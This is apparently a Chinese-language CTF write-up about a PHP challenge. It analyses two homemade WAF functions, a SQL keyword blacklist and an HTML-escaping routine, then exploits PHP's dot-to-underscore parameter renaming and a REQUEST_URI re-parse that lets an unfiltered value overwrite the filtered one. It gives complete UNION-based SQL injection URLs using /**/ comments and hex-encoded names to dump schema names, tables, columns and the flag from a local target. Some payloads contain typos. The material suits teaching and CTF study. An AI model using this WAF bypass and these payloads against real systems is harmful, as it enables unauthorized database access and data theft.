代码分析
第一个WAF
代码
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
实现原理
这段PHP代码定义了一个名为dowith_sql
的函数,用于对输入的字符串进行SQL注入检测和过滤。下面是对代码的详细解释:
-
正则表达式匹配:函数内部使用
preg_match
函数来检测输入字符串$str
中是否包含一些常见的SQL注入攻击模式。这些模式包括:-
select
-
insert
-
update
-
delete
-
'
(单引号) -
/*
和*/
(注释符号) -
*
(通配符) -
../
和./
(目录遍历) -
union
-
into
-
load_file
-
outfile
-
-
检测结果处理:如果输入字符串中包含上述任一模式,
preg_match
函数会返回一个非零值,表示匹配成功。此时,函数会输出"非法字符!"并调用exit()
函数终止脚本执行。 -
返回原字符串:如果输入字符串中没有检测到上述任一模式,函数会返回原字符串。
第二个WAF
代码
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
这段PHP代码定义了一个名为dhtmlspecialchars
的函数,用于对输入的字符串进行HTML特殊字符的转义处理。具体来说,它将一些特殊字符(如&
、"
、<
、>
、(
、)
)转换为它们的HTML实体,以防止跨站脚本攻击(XSS)。
实现原理
-
数组处理:如果输入的字符串是一个数组,函数会递归地对数组中的每个元素调用自身,确保数组中的所有字符串都被处理。
-
字符串替换:对于非数组的输入,函数使用
str_replace
函数将特殊字符替换为它们的HTML实体:-
&
->&
-
"
->"
-
<
-><
-
>
->>
-
(
->( 英文括号,换成中文括号。
-
)
->) 英文括号,换成中文括号。
-
-
处理编码实体:如果字符串中包含编码实体(如
{
),函数使用正则表达式preg_replace
将这些实体还原为原始字符。
注入过程
注入点分析
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
# 通过代码可知。如果要想走进这里,就需要$_REQUEST数组中存在submit参数。所以传递参数的时候需要加上。
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysqli_query($conn,$sql);
while($row = mysqli_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['username'] . "</td>";
echo "</tr>";
}
}
由代码可知,接收参数使用到一个全局数组的方式接收数据。这就导致了注入点产生的原因。如果给这个数组参数,结果如下。
会将上面内容全部获得,但是由于他是一个数组。所以他可以获取很多参数内容,如本地电脑的环境变量。
知识点
explod函数
explode
是 PHP 中的一个内置函数,用于将一个字符串分割成多个子字符串,并返回一个包含这些子字符串的数组。这个函数接受两个参数:分隔符和要分割的字符串。
explode
函数的工作原理是遍历输入的字符串,找到所有与指定分隔符匹配的位置,然后在这些位置将字符串分割成多个部分。最后,将这些部分存储在一个数组中并返回。
基本语法
array explode ( string $delimiter , string $string [, int $limit ] )
参数 | 说明 |
---|---|
$delimiter | 用于分割字符串的分隔符。 |
$string | 要分割的字符串。 |
$limit (可选) | 如果指定了该参数,则返回的数组最多包含 limit 个元素。如果 limit 是负数,则返回除了最后的 -limit 个元素外的所有元素。 |
代码分析
由于代码开源,所以我们完全可以不用括号进行查询,一个一个的去获取账号密码。所以最主要是通过构建特殊的SQL语句去绕过两个安全WAF。
构建正常的语句进行断点调试,从而明白代码走向。即?submit=bbb&i_d=1
。
继续走,此时通过explode函数
分割,通过?
将一个REQUEST_URI
中的字符串拆分成一个数组。
在经过第第二explode函数
分割,以&
进行覆分割。得出新的数组
使用foreach
循环遍历$rewrite_url
数组。$key
是数组的键,$value
是对应的值。并且通过`explode函数
将字符串按照“ = ”进行分割。最后将解析后的键值对添加到$_REQUEST
全局数组中。$_value[0]
作为键,$_value[1]
作为值。在赋值之前,$_value[1]
首先被addslashes
函数处理,以转义特殊字符,然后被dhtmlspecialchars
函数处理,以防止HTML注入攻击。
之后变量&_value
经过两个WAF过滤,代码之后重新回到上图的foreach,准备处理第二个参数。
处理完之后会进入准备拼接的SQL语句查询函数。由于存在submit的内容,所以可以直接进入函数里进行执行。
由此过程可知,这行代码将使用了两次$_REQUEST
全局数组赋值,并且最后面一次的赋值将上一次的赋值给覆盖掉了。在这个覆盖的过程中,就很有可能存在SQL注入问题。比如给两个相同参数不同值,并且我将注入语句放在第一个语句里面。对我们PHP来说,可能取值是最后一个。
?i_d=1 union select 1,2,3&i_d=2
此时发现并没有报错,由此可知。进入WAF的值是第二个。
所以现在的思路是第二个无害参数进入到WAF,而最后我们取有害的参数。即第一次传递参数使用第二个数据,第二次传递参数,取得的是一个参数。
在PHP中有一个小特性,就是在经过GET传参的时候会将.
和]
变成符号_
。
如此即可修改语句
?sumbit=aaa&i_d=1/**/union/**/select/**/1,2,3&i.d=2
# 之所以加/**/是因为,url自动编码,会将空格编码为%20,所以%20也会进入到SQL语句中,从而报错
在第一次取值的时候,点自动变为下划线,所以他会取第二个值i_d=2
。
继续断点调试,最初确实只有两个内容,一个是submit=aaa
,另一个是我们传递的第二个i_d=2
。所以i_d=2
会走入到第一个WAF之中。此时这个之中的i_d="2"
的内容将会下一次替换。
经过explode
函数对REQUEST_URI
的分割,从而将原本的字符串拆分成数组。并且里面存在三个元素。
使用foreach
循环遍历$rewrite_url
数组。$key
是数组的键,$value
是对应的值。并且通过`explode函数
将字符串按照“ = ”进行分割。最后将解析后的键值对添加到$_REQUEST
全局数组中。
遍历第一个元素·"submit=aaa"
遍历第二个元素·"i_d=1/**/union/**/select/**/1,2,3"
遍历第三个元素·"i_d=2"
最重要的一点在第二个过程,遍历第二个元素·"i_d=1/**/union/**/select/**/1,2,3"
的时候,原本全局数组中$_REQUEST
的"i_d=2
"会被这个阶段遍历出第一个"i_d=1/**/union/**/select/**/1,2,3"
替换掉。在遍历第三个元素·"i.d=2"
,没有经过GET传参的过程,所以此时的"."不会经过编译成为"_"。所以此时kay为"i.d
"继续添加到$_REQUEST
全局数组中。
所以此时的$_REQUEST
全局数组只有一个key为i_d
,所以在接下来的SQL语句拼接的过程中,只会去出我们写好的SQL语句。组成MySQL的查询语句。
SQL注入
获取数据库名称
注入语句如下:
<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1</span></span>
通过修改limit的参数,一个一个获取数据库的名称。
获取表名称
注入语句如下:
<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x6374660x637466是ctf&i.d=2</span></span>
这里的0x637466是数据库ctf的ASCII编码的16进制,这是MySQL注入的一个小技巧,通过将表明改为16进制,进而可以避免加单引号。
通过修改limit的参数,一个一个获取表的名称。
获取表的列名
注入语句如下:
<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=20x637466 0x7573657273
select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1;
</span></span>
通过修改limit的参数,一个一个获取列的名称。
获取表内容
注入语句如下:
<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=2</span></span>